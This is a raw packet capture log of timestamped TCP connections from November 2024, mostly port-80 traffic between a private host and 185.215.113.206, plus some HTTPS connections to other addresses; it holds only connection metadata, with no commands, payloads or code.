Nov 17, 2024 22:20:52.165982008 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166057110 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166078091 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166100979 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166115046 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166136980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166161060 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166174889 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166198015 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166229963 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166245937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166260958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166280031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166280031 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166304111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166309118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166326046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166328907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166344881 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166362047 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166372061 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166399956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166522980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166656971 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166672945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166688919 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166702032 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166716099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166722059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166734934 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166752100 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166754961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166770935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166779995 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166788101 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166795969 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166807890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166814089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166830063 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166837931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166845083 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166881084 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166888952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166907072 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166923046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166939974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.166961908 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.166982889 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167005062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167021990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167038918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167062044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167077065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167098999 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167098999 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167128086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167452097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167469978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167530060 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167541027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167541027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167546988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167567015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167574883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167584896 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167584896 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167603016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167623997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167623997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167646885 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167668104 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167669058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167687893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167705059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167706966 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167723894 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167728901 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167747974 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167757034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167910099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167954922 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.167963028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.167973042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.168014050 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.173692942 CET	443	60900	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.174199104 CET	60900	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.174240112 CET	443	60900	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.174515963 CET	60900	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.174523115 CET	443	60900	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.175285101 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.175317049 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.175405025 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.175554991 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.175566912 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.175704956 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.175729036 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.175759077 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.175862074 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.175868988 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.175941944 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.176146984 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.176624060 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.176630974 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.176668882 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.176678896 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.176692009 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.176816940 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.177088976 CET	60907	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.177103043 CET	443	60907	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.177279949 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.177293062 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.177575111 CET	60909	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.177592993 CET	443	60909	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.177629948 CET	60910	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.177639008 CET	443	60910	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.177834034 CET	60912	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.177845955 CET	443	60912	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.178071022 CET	60911	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:52.178090096 CET	443	60911	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:52.208092928 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.208120108 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.208137035 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.208158970 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.208174944 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.209664106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.209678888 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.209695101 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.209711075 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.209734917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.209749937 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.209773064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.209788084 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.209953070 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.209999084 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.252573013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.252589941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.252598047 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.252686977 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.281735897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.281754017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.281769991 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.281831980 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282401085 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282454967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282516956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282540083 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282567024 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282577991 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282582998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282610893 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282644987 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282685041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282701969 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282717943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282735109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282748938 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282748938 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282752037 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282784939 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282830954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282834053 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282849073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282866001 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282872915 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282890081 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282902956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.282936096 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282951117 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282968044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.282994032 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283018112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283025026 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283298016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283329964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283346891 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283359051 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283387899 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283389091 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283406019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283421040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283440113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283461094 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283467054 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283480883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283504009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283548117 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283565044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283580065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283601999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283617020 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283626080 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283642054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283652067 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283659935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283674955 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283677101 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283687115 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283713102 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283740044 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283785105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283811092 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283827066 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283850908 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283874989 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.283895016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283910990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283950090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.283955097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284001112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284017086 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284043074 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284068108 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284096003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284112930 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284131050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284147024 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284152985 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284164906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284176111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284198999 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284204960 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284288883 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284328938 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284348011 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284363031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284378052 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284416914 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284420013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284446955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284461975 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284468889 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284507990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284537077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284553051 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284574986 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284589052 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284626007 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.284681082 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284694910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.284737110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.286966085 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.286982059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.286999941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.287019968 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.287028074 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.287065983 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.287277937 CET	443	60898	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.287298918 CET	443	60898	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.287353992 CET	443	60898	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.287390947 CET	60898	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.287432909 CET	60898	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.287686110 CET	60898	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.287714005 CET	443	60898	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.287729025 CET	60898	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.287736893 CET	443	60898	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.290692091 CET	60913	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.290723085 CET	443	60913	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.290874958 CET	60913	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.290891886 CET	443	60899	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.290923119 CET	443	60899	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.290956974 CET	443	60899	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.290973902 CET	60899	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.291004896 CET	60899	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.291136980 CET	60913	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.291151047 CET	443	60913	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.291202068 CET	60899	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.291217089 CET	443	60899	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.291227102 CET	60899	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.291230917 CET	443	60899	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.293340921 CET	60914	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.293376923 CET	443	60914	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.293615103 CET	60914	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.293737888 CET	60914	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.293764114 CET	443	60914	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.305308104 CET	443	60900	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.305346012 CET	443	60900	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.305402040 CET	443	60900	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.305453062 CET	60900	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.305500031 CET	60900	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.305955887 CET	60900	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.305977106 CET	443	60900	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.305994987 CET	60900	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.306000948 CET	443	60900	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.308413029 CET	60915	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.308444977 CET	443	60915	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.308538914 CET	60915	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.308871031 CET	60915	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.308883905 CET	443	60915	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.324892998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.324922085 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.324981928 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.325007915 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.325036049 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.325036049 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.326565027 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.326627016 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.326733112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.326750994 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.326767921 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.326786995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.326801062 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.326847076 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.368104935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.368119001 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.368170023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.368777990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.368829966 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.368849993 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.368865013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.368896961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.368907928 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.398540020 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.398559093 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.398574114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.398605108 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.398641109 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399152040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399166107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399192095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399199009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399209023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399218082 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399226904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399229050 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399241924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399249077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399260998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399293900 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399300098 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399342060 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399342060 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399358988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399399042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399408102 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399415970 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399521112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399547100 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399558067 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.399565935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.399578094 CET	60797	80	192.168.2.7	185.215.113.206
